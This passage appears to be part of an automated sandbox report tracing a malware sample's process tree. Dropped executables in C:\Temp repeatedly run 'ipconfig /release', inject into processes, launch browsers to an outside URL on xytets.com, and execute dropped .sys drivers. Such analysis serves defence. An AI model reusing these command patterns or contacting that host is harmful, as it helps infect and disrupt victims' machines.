    - Executes dropped EXE
    PID:896
  - - C:\Temp\i_causnkfaxs.exe
      C:\Temp\i_causnkfaxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\uspkhczusm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4416
  - - C:\Temp\uspkhczusm.exe
      C:\Temp\uspkhczusm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5620
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5332
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_uspkhczusm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1372
  - - C:\Temp\i_uspkhczusm.exe
      C:\Temp\i_uspkhczusm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zusmkecxus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2184
  - - C:\Temp\zusmkecxus.exe
      C:\Temp\zusmkecxus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2532
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zusmkecxus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5996
  - - C:\Temp\i_zusmkecxus.exe
      C:\Temp\i_zusmkecxus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\urpjhbzurm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1304
  - - C:\Temp\urpjhbzurm.exe
      C:\Temp\urpjhbzurm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3604
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3304
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_urpjhbzurm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5880
  - - C:\Temp\i_urpjhbzurm.exe
      C:\Temp\i_urpjhbzurm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2564
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ojhbztrljd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:568
  - - C:\Temp\ojhbztrljd.exe
      C:\Temp\ojhbztrljd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2720
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4432
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ojhbztrljd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4388
  - - C:\Temp\i_ojhbztrljd.exe
      C:\Temp\i_ojhbztrljd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4872
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oiywqoigby.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5296
  - - C:\Temp\oiywqoigby.exe
      C:\Temp\oiywqoigby.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4608
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4356
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oiywqoigby.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4636
  - - C:\Temp\i_oiywqoigby.exe
      C:\Temp\i_oiywqoigby.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:556
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbvtolgdy.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:204
  - - C:\Temp\jdbvtolgdy.exe
      C:\Temp\jdbvtolgdy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1972
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5440
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5824
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbvtolgdy.exe ups_ins
    3⤵
    PID:5700
  - - C:\Temp\i_jdbvtolgdy.exe
      C:\Temp\i_jdbvtolgdy.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4168
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvqnifaysq.exe ups_run
    3⤵
    PID:3396
  - - C:\Temp\xvqnifaysq.exe
      C:\Temp\xvqnifaysq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5124
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3452
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5412
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvqnifaysq.exe ups_ins
    3⤵
    PID:5352
  - - C:\Temp\i_xvqnifaysq.exe
      C:\Temp\i_xvqnifaysq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\upnkfdxvpn.exe ups_run
    3⤵
    PID:4444
  - - C:\Temp\upnkfdxvpn.exe
      C:\Temp\upnkfdxvpn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4576
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:760
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4308
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_upnkfdxvpn.exe ups_ins
    3⤵
    PID:5292
  - - C:\Temp\i_upnkfdxvpn.exe
      C:\Temp\i_upnkfdxvpn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3712
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nhfcxuspkh.exe ups_run
    3⤵
    PID:5748
  - - C:\Temp\nhfcxuspkh.exe
      C:\Temp\nhfcxuspkh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1776
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3456
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nhfcxuspkh.exe ups_ins
    3⤵
    PID:5884
  - - C:\Temp\i_nhfcxuspkh.exe
      C:\Temp\i_nhfcxuspkh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2644
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xupnhfzxrp.exe ups_run
    3⤵
    PID:1696
  - - C:\Temp\xupnhfzxrp.exe
      C:\Temp\xupnhfzxrp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2640
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1844
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6076
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xupnhfzxrp.exe ups_ins
    3⤵
    PID:5032
  - - C:\Temp\i_xupnhfzxrp.exe
      C:\Temp\i_xupnhfzxrp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5368
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhfzwurpj.exe ups_run
    3⤵
    PID:3104
  - - C:\Temp\pjhfzwurpj.exe
      C:\Temp\pjhfzwurpj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2408
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2456
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhfzwurpj.exe ups_ins
    3⤵
    PID:2380
  - - C:\Temp\i_pjhfzwurpj.exe
      C:\Temp\i_pjhfzwurpj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2988
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjebwurmje.exe ups_run
    3⤵
    PID:2512
  - - C:\Temp\mjebwurmje.exe
      C:\Temp\mjebwurmje.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4484
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5552
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1824
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mjebwurmje.exe ups_ins
    3⤵
    PID:4248
  - - C:\Temp\i_mjebwurmje.exe
      C:\Temp\i_mjebwurmje.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgeywqoigb.exe ups_run
    3⤵
    PID:3592
  - - C:\Temp\lgeywqoigb.exe
      C:\Temp\lgeywqoigb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4264
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1676
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lgeywqoigb.exe ups_ins
    3⤵
    PID:2644
  - - C:\Temp\i_lgeywqoigb.exe
      C:\Temp\i_lgeywqoigb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1284
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eywqoigayt.exe ups_run
    3⤵
    PID:4136
  - - C:\Temp\eywqoigayt.exe
      C:\Temp\eywqoigayt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4632
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:944
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3120
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eywqoigayt.exe ups_ins
    3⤵
    PID:1052
  - - C:\Temp\i_eywqoigayt.exe
      C:\Temp\i_eywqoigayt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5964
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c0,0x300,0x7ffd1d33c188,0x7ffd1d33c194,0x7ffd1d33c1a0
      4⤵
      PID:4848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,2277601175728785968,5023622517559815663,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:11
      4⤵
      System Time Discovery
      PID:1360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,789305636812209485,2819244707165368083,262144 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:2
      4⤵
      PID:4536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2456,i,6706719774866508767,9182627848459635336,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:13
      4⤵
      PID:248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3612,i,7743256252279258299,12575775661640659861,2097152 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
      4⤵
      PID:1624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3632,i,6781843860718745504,5145256204051099828,2097152 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
      4⤵
      PID:6008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4276,i,15712549603440674874,13782737393873319857,2097152 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=4812 /prefetch:1
      4⤵
      PID:3692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4288,i,6646994430683334191,7445912248995879645,2097152 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:9
      4⤵
      PID:4264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5316,i,11409181228290163712,901934001373036358,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:14
      4⤵
      PID:3704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,8989143665053843531,6106416171194308971,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:14
      4⤵
      PID:2980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,17010957822542197257,5694524785990084302,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
      4⤵
      PID:4856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6052,i,6345047372772613871,2307896520325599677,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:14
      4⤵
      PID:1220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6052,i,6345047372772613871,2307896520325599677,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:14
      4⤵
      PID:1080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6320,i,39446566778778645,6821894379336443239,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:14
      4⤵
      PID:944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,4192240888230470077,8411984379383050419,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:14
      4⤵
      PID:2324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,7076963355586477970,17793313810772264026,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:14
      4⤵
      PID:1328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,15202657773459560194,16957766343509717545,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:14
      4⤵
      PID:760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,17157461215306738610,6327748237106073774,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
      4⤵
      PID:796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,10883660081976421511,5016191294790546113,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:14
      4⤵
      PID:3124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6216,i,4610961133482800085,14080230837363091511,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:14
      4⤵
      PID:5080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3776,i,17203388804727389378,7211158272899857133,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
      4⤵
      PID:3552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5824,i,3420956764815809706,124953258906956610,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:14
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6532,i,6291461554197513957,6770630960490227713,262144 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:10
      4⤵
      PID:2052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,11114953174932809567,15319924007805132992,524288 --field-trial-handle=2300,i,3470089114782840760,13737415966121469550,262144 --variations-seed-version --mojo-platform-channel-handle=1192 /prefetch:14
      4⤵
      PID:4544

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4812

C:\Temp\jetolgeywrojgebw.sys
C:\Temp\jetolgeywrojgebw.sys
1⤵
- Executes dropped EXE
PID:2220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4860

C:\Temp\wtolgeywto.sys
C:\Temp\wtolgeywto.sys
1⤵
- Executes dropped EXE
PID:1368

C:\Temp\bvtnlgdyvq.sys
C:\Temp\bvtnlgdyvq.sys
1⤵
- Executes dropped EXE
PID:1696

C:\Temp\nkifaxvqni.sys
C:\Temp\nkifaxvqni.sys
1⤵
- Executes dropped EXE
PID:2812

C:\Temp\kfcaysqkic.sys
C:\Temp\kfcaysqkic.sys
1⤵
- Executes dropped EXE
PID:3512

C:\Temp\icaxspnkfc.sys
C:\Temp\icaxspnkfc.sys
1⤵
- Executes dropped EXE
PID:3896

C:\Temp\ausmkhcaus.sys
C:\Temp\ausmkhcaus.sys
1⤵
- Executes dropped EXE
PID:5404

C:\Temp\uomhezwuom.sys
C:\Temp\uomhezwuom.sys
1⤵
- Executes dropped EXE
PID:6072

C:\Temp\ezwjhbztrm.sys
C:\Temp\ezwjhbztrm.sys
1⤵
- Executes dropped EXE
PID:4168

C:\Temp\ojgebwtrlj.sys
C:\Temp\ojgebwtrlj.sys
1⤵
- Executes dropped EXE
PID:3848

